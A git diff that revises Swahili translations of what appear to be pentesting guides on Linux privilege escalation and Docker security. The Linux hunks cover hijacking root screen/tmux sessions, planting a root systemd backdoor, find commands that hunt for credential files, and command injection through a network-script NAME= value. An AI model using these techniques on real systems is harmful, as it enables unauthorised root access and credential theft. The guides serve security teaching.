Orodha za Udhibiti wa Ufikiaji (ACLs) zinaonyesha tabaka la pili la ruhusa za hiari, zenye uwezo wa **kuzidi ruhusa za jadi za ugo/rwx**. Ruhusa hizi zinaboresha udhibiti juu ya ufikiaji wa faili au katalogi kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kundi. Kiwango hiki cha **ukamilifu kinahakikisha usimamizi sahihi wa ufikiaji**. Maelezo zaidi yanaweza kupatikana [**hapa**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Orodha za Udhibiti wa Ufikiaji (ACLs) zinawakilisha safu ya pili ya ruhusa za hiari, zenye uwezo wa **kuzidi ruhusa za jadi za ugo/rwx**. Ruhusa hizi zinaboresha udhibiti juu ya ufikiaji wa faili au katalogi kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kundi. Kiwango hiki cha **ukamilifu kinahakikisha usimamizi sahihi wa ufikiaji**. Maelezo zaidi yanaweza kupatikana [**hapa**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Mpe** mtumiaji "kali" ruhusa za kusoma na kuandika juu ya faili:
|
||||
```bash
|
||||
@ -1073,10 +1077,10 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Fungua vikao vya shell
|
||||
|
||||
Katika **toleo za zamani** unaweza **kudhibiti** baadhi ya **vikao** vya mtumiaji mwingine (**root**).\
|
||||
Katika **toleo za hivi karibuni** utaweza **kuungana** na vikao vya skrini tu vya **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **habari za kuvutia ndani ya kikao**.
|
||||
Katika **toleo za zamani** unaweza **kuchukua** baadhi ya **vikao** vya mtumiaji mwingine (**root**).\
|
||||
Katika **toleo za hivi punde** utaweza **kuungana** na vikao vya skrini tu vya **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **habari za kuvutia ndani ya kikao**.
|
||||
|
||||
### kudhibiti vikao vya skrini
|
||||
### kuchukua vikao vya skrini
|
||||
|
||||
**Orodha ya vikao vya skrini**
|
||||
```bash
|
||||
@ -1093,7 +1097,7 @@ screen -x [user]/[session id]
|
||||
```
|
||||
## tmux sessions hijacking
|
||||
|
||||
Hii ilikuwa shida na **matoleo ya zamani ya tmux**. Sikuwa na uwezo wa kuingilia kikao cha tmux (v2.1) kilichoundwa na root kama mtumiaji asiye na mamlaka.
|
||||
Hii ilikuwa shida na **toleo za zamani za tmux**. Sikuwa na uwezo wa kuhamasisha kikao cha tmux (v2.1) kilichoundwa na root kama mtumiaji asiye na mamlaka.
|
||||
|
||||
**Orodha ya vikao vya tmux**
|
||||
```bash
|
||||
@ -1122,28 +1126,28 @@ Angalia **Valentine box kutoka HTB** kwa mfano.
|
||||
Mfunguo wote wa SSL na SSH ulioanzishwa kwenye mifumo ya msingi ya Debian (Ubuntu, Kubuntu, nk) kati ya Septemba 2006 na Mei 13, 2008 unaweza kuathiriwa na hitilafu hii.\
|
||||
Hitilafu hii inasababishwa wakati wa kuunda funguo mpya za ssh katika mifumo hiyo, kwani **mabadiliko 32,768 pekee yalikuwa yanawezekana**. Hii inamaanisha kwamba uwezekano wote unaweza kuhesabiwa na **ikiwa una funguo ya umma ya ssh unaweza kutafuta funguo ya kibinafsi inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Thamani za usanidi zinazovutia
|
||||
### SSH Maadili ya usanidi ya kuvutia
|
||||
|
||||
- **PasswordAuthentication:** Inaelezea ikiwa uthibitishaji wa nenosiri unaruhusiwa. Kiwango cha kawaida ni `no`.
|
||||
- **PubkeyAuthentication:** Inaelezea ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Kiwango cha kawaida ni `yes`.
|
||||
- **PermitEmptyPasswords**: Wakati uthibitishaji wa nenosiri unaruhusiwa, inaelezea ikiwa seva inaruhusu kuingia kwenye akaunti zenye nywila tupu. Kiwango cha kawaida ni `no`.
|
||||
- **PasswordAuthentication:** Inaeleza ikiwa uthibitishaji wa nenosiri unaruhusiwa. Kiwango cha kawaida ni `no`.
|
||||
- **PubkeyAuthentication:** Inaeleza ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Kiwango cha kawaida ni `yes`.
|
||||
- **PermitEmptyPasswords**: Wakati uthibitishaji wa nenosiri unaruhusiwa, inaeleza ikiwa seva inaruhusu kuingia kwenye akaunti zenye nywila tupu. Kiwango cha kawaida ni `no`.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
Inaelezea ikiwa root anaweza kuingia kwa kutumia ssh, kiwango cha kawaida ni `no`. Thamani zinazowezekana:
|
||||
Inaeleza ikiwa root anaweza kuingia kwa kutumia ssh, kiwango cha kawaida ni `no`. Thamani zinazowezekana:
|
||||
|
||||
- `yes`: root anaweza kuingia kwa kutumia nenosiri na funguo binafsi
|
||||
- `without-password` au `prohibit-password`: root anaweza kuingia tu kwa funguo binafsi
|
||||
- `forced-commands-only`: Root anaweza kuingia tu kwa kutumia funguo binafsi na ikiwa chaguo za amri zimeelezwa
|
||||
- `yes`: root anaweza kuingia kwa kutumia nenosiri na funguo ya kibinafsi
|
||||
- `without-password` au `prohibit-password`: root anaweza kuingia tu kwa funguo ya kibinafsi
|
||||
- `forced-commands-only`: Root anaweza kuingia tu kwa kutumia funguo ya kibinafsi na ikiwa chaguo za amri zimeelezwa
|
||||
- `no` : hapana
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Inaelezea faili zinazokuwa na funguo za umma ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuashiria njia kamili** (zinazoanzia na `/`) au **njia za kulinganisha kutoka nyumbani kwa mtumiaji**. Kwa mfano:
|
||||
Inaeleza faili ambazo zinafunguo za umma ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuashiria njia kamili** (zinazoanzia `/`) au **njia za kulinganisha kutoka nyumbani kwa mtumiaji**. Kwa mfano:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
Iyo usanidi itaonyesha kwamba ikiwa unajaribu kuingia na **funguo** ya mtumiaji "**testusername**" ssh italinganisha funguo za umma za funguo zako na zile zilizoko katika `/home/testusername/.ssh/authorized_keys` na `/home/testusername/access`
|
||||
Iyo usanidi utaonyesha kwamba ikiwa unajaribu kuingia na **funguo** ya mtumiaji "**testusername**" ssh italinganisha funguo za umma za funguo zako na zile zilizoko katika `/home/testusername/.ssh/authorized_keys` na `/home/testusername/access`
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
@ -1154,10 +1158,10 @@ Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama ifuatavyo:
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Kumbuka kwamba ikiwa `Host` ni `*` kila wakati mtumiaji anapohamisha kwenye mashine tofauti, mwenyeji huyo atakuwa na uwezo wa kufikia funguo (ambayo ni tatizo la usalama).
|
||||
Kumbuka kwamba ikiwa `Host` ni `*` kila wakati mtumiaji anapohamisha kwenye mashine tofauti, mwenyeji huyo ataweza kufikia funguo (ambayo ni tatizo la usalama).
|
||||
|
||||
Faili `/etc/ssh_config` inaweza **kufuta** hizi **chaguzi** na kuruhusu au kukataa usanidi huu.\
|
||||
Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa neno muhimu `AllowAgentForwarding` (chaguo-msingi ni ruhusa).
|
||||
Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa neno muhimu `AllowAgentForwarding` (kawaida ni ruhusa).
|
||||
|
||||
Ikiwa unapata kwamba Forward Agent imewekwa katika mazingira, soma ukurasa ufuatao kama **unaweza kuweza kuitumia vibaya ili kupandisha mamlaka**:
|
||||
|
||||
@ -1169,11 +1173,11 @@ ssh-forward-agent-exploitation.md
|
||||
|
||||
### Faili za Profaili
|
||||
|
||||
Faili `/etc/profile` na faili zilizo chini ya `/etc/profile.d/` ni **scripts ambazo zinafanywa wakati mtumiaji anapokimbia shell mpya**. Hivyo, ikiwa unaweza **kuandika au kubadilisha yoyote yao unaweza kupandisha mamlaka**.
|
||||
Faili `/etc/profile` na faili zilizo chini ya `/etc/profile.d/` ni **scripts ambazo zinafanywa wakati mtumiaji anapokimbia shell mpya**. Hivyo, ikiwa unaweza **kuandika au kubadilisha yoyote kati yao unaweza kupandisha mamlaka**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
Ikiwa kuna skripti za wasifu zisizo za kawaida, unapaswa kuzikagua kwa **maelezo nyeti**.
|
||||
Ikiwa kuna skripti za wasifu zisizo za kawaida, unapaswa kuziangalia kwa **maelezo nyeti**.
|
||||
|
||||
### Faili za Passwd/Shadow
|
||||
|
||||
@ -1223,11 +1227,11 @@ ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
Group=root
|
||||
```
|
||||
Backdoor yako itatekelezwa wakati tomcat itaanzishwa tena.
|
||||
Backdoor yako itatekelezwa wakati tomcat itaanza tena.
|
||||
|
||||
### Angalia Folda
|
||||
|
||||
Folda zifuatazo zinaweza kuwa na nakala za akiba au taarifa za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Inaweza kuwa huwezi kusoma ya mwisho lakini jaribu)
|
||||
Folda zifuatazo zinaweza kuwa na nakala za akiba au taarifa za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Inaweza usiweze kusoma ya mwisho lakini jaribu)
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
@ -1256,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
### \*\_historia, .sudo_as_admin_successful, profaili, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
|
||||
### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
|
||||
```bash
|
||||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||||
```
|
||||
@ -1269,7 +1273,7 @@ find / -type f -iname ".*" -ls 2>/dev/null
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||
```
|
||||
### **Faili za Mtandao**
|
||||
### **Fail za Mtandao**
|
||||
```bash
|
||||
ls -alhR /var/www/ 2>/dev/null
|
||||
ls -alhR /srv/www/htdocs/ 2>/dev/null
|
||||
@ -1332,17 +1336,17 @@ Taarifa zaidi kuhusu uthibitisho huu inaweza kupatikana kwenye ukurasa huu: [htt
|
||||
|
||||
Unaweza kutumia uthibitisho huu kwa [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Uthibitisho huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** hivyo kila wakati unapata kuwa unaweza kubadilisha logs, angalia nani anasimamia hizo logs na angalia kama unaweza kuongeza haki kwa kubadilisha logs kwa symlinks.
|
||||
Uthibitisho huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** hivyo kila wakati unapata kuwa unaweza kubadilisha logs, angalia nani anayeendesha hizo logs na angalia kama unaweza kupandisha haki kwa kubadilisha logs kwa symlinks.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Marejeo ya uthibitisho:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
**Kumbukumbu ya uthibitisho:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-<chochote>` kwenye _/etc/sysconfig/network-scripts_ **au** inaweza **kubadilisha** ile iliyopo, basi **sistimu yako imepata hatari**.
|
||||
|
||||
Scripts za mtandao, _ifcg-eth0_ kwa mfano zinatumika kwa muunganisho wa mtandao. Zinatazama kama faili za .INI. Hata hivyo, zinachukuliwa \~sourced\~ kwenye Linux na Network Manager (dispatcher.d).
|
||||
|
||||
Katika kesi yangu, `NAME=` inayotolewa katika hizi scripts za mtandao haishughulikiwi ipasavyo. Ikiwa una **nafasi nyeupe/boreshaji katika jina, mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/boreshaji**. Hii ina maana kwamba **kila kitu baada ya nafasi ya kwanza inatekelezwa kama root**.
|
||||
Katika kesi yangu, `NAME=` inayotolewa katika hizi scripts za mtandao haishughulikiwi ipasavyo. Ikiwa una **nafasi nyeupe/boreshaji katika jina, mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/boreshaji**. Hii inamaanisha kuwa **kila kitu baada ya nafasi ya kwanza inatekelezwa kama root**.
|
||||
|
||||
Kwa mfano: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1352,7 +1356,7 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd, na rc.d**
|
||||
|
||||
Direktori `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), **mfumo wa usimamizi wa huduma za Linux wa jadi**. Inajumuisha scripts za `kuanzisha`, `kusitisha`, `kurestart`, na wakati mwingine `kureload` huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia viungo vya alama vinavyopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`.
|
||||
Direktori `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), **mfumo wa usimamizi wa huduma za Linux wa jadi**. Inajumuisha scripts za `kuanzisha`, `kusitisha`, `kuanzisha tena`, na wakati mwingine `kureload` huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia viungo vya alama vinavyopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`.
|
||||
|
||||
Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usimamizi wa huduma** ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, scripts za SysVinit bado zinatumika pamoja na usanidi wa Upstart kutokana na safu ya ulinganifu katika Upstart.
|
||||
|
||||
@ -1366,7 +1370,7 @@ Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usi
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Kutoka kwenye Shells zilizopunguzika
|
||||
### Kutoka kwenye Shells zilizozuiliwa
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
@ -1399,10 +1403,10 @@ cisco-vmanage.md
|
||||
**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (ufikiaji wa kimwili):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Kukusanya scripts zaidi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
|
||||
|
@ -26,21 +26,21 @@ Vyeti vinatumika kuthibitisha utambulisho wa seva. Kwa mifano ya kina ya mbinu z
|
||||
|
||||
### Usalama wa Picha za Kontena
|
||||
|
||||
Picha za kontena zinaweza kuhifadhiwa katika hifadhi za kibinafsi au za umma. Docker inatoa chaguzi kadhaa za uhifadhi kwa picha za kontena:
|
||||
Picha za kontena zinaweza kuhifadhiwa katika hifadhi za kibinafsi au za umma. Docker inatoa chaguzi kadhaa za kuhifadhi picha za kontena:
|
||||
|
||||
- [**Docker Hub**](https://hub.docker.com): Huduma ya hifadhi ya umma kutoka Docker.
|
||||
- [**Docker Registry**](https://github.com/docker/distribution): Mradi wa chanzo wazi unaowezesha watumiaji kuendesha hifadhi yao wenyewe.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Hifadhi ya kibiashara ya Docker inayotoa uthibitisho wa mtumiaji kulingana na majukumu na uunganisho na huduma za directory za LDAP.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Huduma ya kibiashara ya hifadhi ya Docker, ikijumuisha uthibitishaji wa watumiaji kulingana na majukumu na uunganisho na huduma za directory za LDAP.
|
||||
|
||||
### Uchanganuzi wa Picha
|
||||
|
||||
Kontena zinaweza kuwa na **udhaifu wa usalama** ama kwa sababu ya picha ya msingi au kwa sababu ya programu iliyosakinishwa juu ya picha ya msingi. Docker inafanya kazi kwenye mradi unaoitwa **Nautilus** ambao unafanya uchambuzi wa usalama wa Kontena na kuorodhesha udhaifu. Nautilus inafanya kazi kwa kulinganisha kila safu ya picha ya Kontena na hifadhi ya udhaifu ili kubaini mapengo ya usalama.
|
||||
Kontena zinaweza kuwa na **udhaifu wa usalama** ama kwa sababu ya picha ya msingi au kwa sababu ya programu iliyosakinishwa juu ya picha ya msingi. Docker inafanya kazi kwenye mradi unaoitwa **Nautilus** ambao unafanya uchunguzi wa usalama wa Kontena na kuorodhesha udhaifu. Nautilus inafanya kazi kwa kulinganisha kila tabaka la picha ya Kontena na hifadhi ya udhaifu ili kubaini mapengo ya usalama.
|
||||
|
||||
Kwa maelezo zaidi [**soma hii**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
- **`docker scan`**
|
||||
|
||||
Amri ya **`docker scan`** inakuwezesha kuchanganua picha za Docker zilizopo kwa kutumia jina la picha au ID. Kwa mfano,endesha amri ifuatayo kuchanganua picha ya hello-world:
|
||||
Amri ya **`docker scan`** inakuwezesha kuchunguza picha za Docker zilizopo kwa kutumia jina la picha au ID. Kwa mfano,endesha amri ifuatayo kuchunguza picha ya hello-world:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
@ -74,7 +74,7 @@ Saini ya picha za Docker inahakikisha usalama na uaminifu wa picha zinazotumika
|
||||
|
||||
- **Docker Content Trust** inatumia mradi wa Notary, unaotegemea The Update Framework (TUF), kusimamia saini za picha. Kwa maelezo zaidi, angalia [Notary](https://github.com/docker/notary) na [TUF](https://theupdateframework.github.io).
|
||||
- Ili kuwasha uaminifu wa maudhui ya Docker, weka `export DOCKER_CONTENT_TRUST=1`. Kipengele hiki hakijawashwa kwa chaguo-msingi katika toleo la Docker 1.10 na baadaye.
|
||||
- Ikiwa kipengele hiki kimewashwa, picha zilizotiwa saini pekee ndizo zinaweza kupakuliwa. Kuanzisha kupakia picha kunahitaji kuweka maneno ya siri kwa funguo za mzizi na za kuweka alama, huku Docker pia ikisaidia Yubikey kwa usalama wa ziada. Maelezo zaidi yanaweza kupatikana [hapa](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Ikiwa kipengele hiki kimewashwa, picha zilizotiwa saini pekee ndizo zinaweza kupakuliwa. Kuanzisha kupakia picha kunahitaji kuweka maneno ya siri kwa funguo za mzizi na lebo, huku Docker pia ikisaidia Yubikey kwa usalama wa ziada. Maelezo zaidi yanaweza kupatikana [hapa](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Kujaribu kuvuta picha isiyo na saini huku uaminifu wa maudhui ukiwashwa kunasababisha kosa la "No trust data for latest".
|
||||
- Kwa kupakia picha baada ya ya kwanza, Docker inauliza neno la siri la funguo za hifadhi ili kusaini picha.
|
||||
|
||||
@ -121,7 +121,7 @@ Imewezeshwa kwa default katika Docker. Inasaidia **kudhibiti zaidi syscalls** am
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Docker ina kiolezo ambacho unaweza kuwasha: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Docker ina kiolezo ambacho unaweza kuanzisha: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Hii itaruhusu kupunguza uwezo, syscalls, ufikiaji wa faili na folda...
|
||||
|
||||
@ -166,9 +166,9 @@ cgroups.md
|
||||
|
||||
### Uwezo
|
||||
|
||||
Uwezo unaruhusu **udhibiti wa kina kwa uwezo ambao unaweza kuruhusiwa** kwa mtumiaji wa root. Docker inatumia kipengele cha uwezo wa kernel ya Linux ili **kupunguza shughuli ambazo zinaweza kufanywa ndani ya Kontena** bila kujali aina ya mtumiaji.
|
||||
Uwezo unaruhusu **udhibiti wa kina kwa uwezo ambao unaweza kuruhusiwa** kwa mtumiaji wa root. Docker inatumia kipengele cha uwezo wa kernel ya Linux ili **kudhibiti shughuli ambazo zinaweza kufanywa ndani ya Kontena** bila kujali aina ya mtumiaji.
|
||||
|
||||
Wakati kontena la docker linaendeshwa, **mchakato unashusha uwezo wa nyeti ambao mchakato unaweza kutumia kutoroka kutoka kwa kutengwa**. Hii inajaribu kuhakikisha kwamba mchakato hauwezi kufanya vitendo nyeti na kutoroka:
|
||||
Wakati kontena la docker linaendeshwa, **mchakato unashusha uwezo nyeti ambao mchakato unaweza kutumia kutoroka kutoka kwa kutengwa**. Hii inajaribu kuhakikisha kwamba mchakato hauwezi kufanya vitendo nyeti na kutoroka:
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
@ -176,7 +176,7 @@ Wakati kontena la docker linaendeshwa, **mchakato unashusha uwezo wa nyeti ambao
|
||||
|
||||
### Seccomp katika Docker
|
||||
|
||||
Hii ni kipengele cha usalama ambacho kinaruhusu Docker **kupunguza syscalls** ambazo zinaweza kutumika ndani ya kontena:
|
||||
Hii ni kipengele cha usalama ambacho kinaruhusu Docker **kudhibiti syscalls** ambazo zinaweza kutumika ndani ya kontena:
|
||||
|
||||
{{#ref}}
|
||||
seccomp.md
|
||||
@ -192,13 +192,13 @@ apparmor.md
|
||||
|
||||
### SELinux katika Docker
|
||||
|
||||
- **Mfumo wa Kuweka Alama**: SELinux inatoa alama ya kipekee kwa kila mchakato na kitu cha mfumo wa faili.
|
||||
- **Utekelezaji wa Sera**: Inatekeleza sera za usalama ambazo zinaeleza ni vitendo vipi alama ya mchakato inaweza kufanya kwa alama nyingine ndani ya mfumo.
|
||||
- **Alama za Mchakato wa Kontena**: Wakati injini za kontena zinaanzisha michakato ya kontena, kwa kawaida zinapewa alama ya SELinux iliyofungwa, mara nyingi `container_t`.
|
||||
- **Kuweka Alama kwa Faili ndani ya Kontena**: Faili ndani ya kontena kwa kawaida zinawekwa alama kama `container_file_t`.
|
||||
- **Kanuni za Sera**: Sera ya SELinux hasa inahakikisha kwamba michakato yenye alama ya `container_t` zinaweza kuingiliana tu (kusoma, kuandika, kutekeleza) na faili zilizowekwa alama kama `container_file_t`.
|
||||
- **Mfumo wa Lebo**: SELinux inatoa lebo ya kipekee kwa kila mchakato na kitu cha mfumo wa faili.
|
||||
- **Utekelezaji wa Sera**: Inatekeleza sera za usalama ambazo zinaeleza ni vitendo gani lebo ya mchakato inaweza kufanya kwa lebo nyingine ndani ya mfumo.
|
||||
- **Lebo za Mchakato wa Kontena**: Wakati injini za kontena zinaanzisha michakato ya kontena, kawaida zinapewa lebo ya SELinux iliyofungwa, mara nyingi `container_t`.
|
||||
- **Uwekaji Lebo wa Faili ndani ya Kontena**: Faili ndani ya kontena kawaida huwekwa lebo kama `container_file_t`.
|
||||
- **Kanuni za Sera**: Sera ya SELinux hasa inahakikisha kwamba michakato yenye lebo ya `container_t` zinaweza kuingiliana tu (kusoma, kuandika, kutekeleza) na faili zilizo na lebo ya `container_file_t`.
|
||||
|
||||
Mekanismu hii inahakikisha kwamba hata kama mchakato ndani ya kontena umeathiriwa, umefungwa kuingiliana tu na vitu vilivyo na alama zinazolingana, ikipunguza kwa kiasi kikubwa uharibifu unaoweza kutokea kutokana na athari hizo.
|
||||
Mekanismu hii inahakikisha kwamba hata kama mchakato ndani ya kontena umeathirika, umefungwa kuingiliana tu na vitu vilivyo na lebo zinazofanana, ikipunguza kwa kiasi kikubwa uharibifu unaoweza kutokea kutokana na athari hizo.
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
@ -206,7 +206,7 @@ Mekanismu hii inahakikisha kwamba hata kama mchakato ndani ya kontena umeathiriw
|
||||
|
||||
### AuthZ & AuthN
|
||||
|
||||
Katika Docker, plugin ya idhini ina jukumu muhimu katika usalama kwa kuamua ikiwa ruhusa itatolewa au kuzuia maombi kwa daemon ya Docker. Uamuzi huu unafanywa kwa kuchunguza muktadha mbili muhimu:
|
||||
Katika Docker, plugin ya idhini ina jukumu muhimu katika usalama kwa kuamua ikiwa ruhusa au kuzuia maombi kwa daemon ya Docker. Uamuzi huu unafanywa kwa kuchunguza muktadha mbili muhimu:
|
||||
|
||||
- **Muktadha wa Uthibitishaji**: Hii inajumuisha taarifa kamili kuhusu mtumiaji, kama vile nani walivyo na jinsi walivyojithibitisha.
|
||||
- **Muktadha wa Amri**: Hii inajumuisha data yote muhimu inayohusiana na ombi linalofanywa.
|
||||
@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## DoS kutoka kwa kontena
|
||||
|
||||
Ikiwa hujapunguza ipasavyo rasilimali ambazo kontena linaweza kutumia, kontena lililoathiriwa linaweza kufanya DoS kwa mwenyeji ambapo linaendesha.
|
||||
Ikiwa hujapunguza ipasavyo rasilimali ambazo kontena linaweza kutumia, kontena lililoathirika linaweza kufanya DoS kwa mwenyeji ambapo linaendesha.
|
||||
|
||||
- CPU DoS
|
||||
```bash
|
||||
@ -268,7 +268,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Kwa maelezo zaidi kuhusu **`--security-opt`** chaguzi angalia: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
Kwa maelezo zaidi ya chaguzi za **`--security-opt`** angalia: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Mambo Mengine ya Usalama
|
||||
|
||||
@ -276,7 +276,7 @@ Kwa maelezo zaidi kuhusu **`--security-opt`** chaguzi angalia: [https://docs.doc
|
||||
|
||||
Ni muhimu kuepuka kuweka siri moja kwa moja katika picha za Docker au kutumia mabadiliko ya mazingira, kwani mbinu hizi zinaweka taarifa zako nyeti wazi kwa yeyote mwenye ufikiaji wa kontena kupitia amri kama `docker inspect` au `exec`.
|
||||
|
||||
**Docker volumes** ni mbadala salama, inashauriwa kwa kufikia taarifa nyeti. Zinweza kutumika kama mfumo wa muda wa faili katika kumbukumbu, kupunguza hatari zinazohusiana na `docker inspect` na logging. Hata hivyo, watumiaji wa root na wale wenye ufikiaji wa `exec` kwa kontena bado wanaweza kufikia siri hizo.
|
||||
**Docker volumes** ni mbadala salama, inashauriwa kwa ufikiaji wa taarifa nyeti. Zinatumika kama mfumo wa faili wa muda katika kumbukumbu, kupunguza hatari zinazohusiana na `docker inspect` na logging. Hata hivyo, watumiaji wa root na wale wenye ufikiaji wa `exec` kwa kontena bado wanaweza kufikia siri hizo.
|
||||
|
||||
**Docker secrets** inatoa njia salama zaidi ya kushughulikia taarifa nyeti. Kwa matukio yanayohitaji siri wakati wa awamu ya kujenga picha, **BuildKit** inatoa suluhisho bora na msaada wa siri za wakati wa kujenga, ikiongeza kasi ya kujenga na kutoa vipengele vya ziada.
|
||||
|
||||
@ -290,7 +290,7 @@ BuildKit inaruhusu matumizi ya siri za wakati wa kujenga kwa chaguo la `--secret
